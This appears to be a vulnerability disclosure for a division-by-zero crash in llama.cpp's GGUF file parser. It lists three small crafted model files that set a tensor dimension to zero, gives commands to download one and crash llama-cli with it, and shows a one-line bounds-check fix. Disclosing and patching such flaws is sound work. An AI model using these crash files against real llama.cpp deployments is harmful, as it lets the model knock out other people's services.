SIGFPE (division by zero) in gguf_init_from_file_ptr(), crashing any llama.cpp-based application.ggml/src/gguf.cpp, lines 632-634INT64_MAX / info.t.ne[j] when ne[j] == 0| File | Size | Trigger |
|---|---|---|
crash_ne1_zero.gguf | 67 bytes | ne[1]=0 → FPE at line 632 |
crash_ne2_zero.gguf | 75 bytes | ne[2]=0 → FPE at line 633 |
crash_ne3_zero.gguf | 83 bytes | ne[3]=0 → FPE at line 634 |
1# Build llama.cpp (any version)
2git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
3cmake -B build && cmake --build build
4
5# Download PoC and crash
6wget https://huggingface.co/neimasilk/llamacpp-gguf-fpe-poc/resolve/main/crash_ne1_zero.gguf
7./build/bin/llama-cli -m crash_ne1_zero.gguf
8# Result: "Floating point exception (core dumped)"1# ggml/src/gguf.cpp, line 623
2- if (info.t.ne[j] < 0) {
3+ if (info.t.ne[j] <= 0) {python3 create_poc.py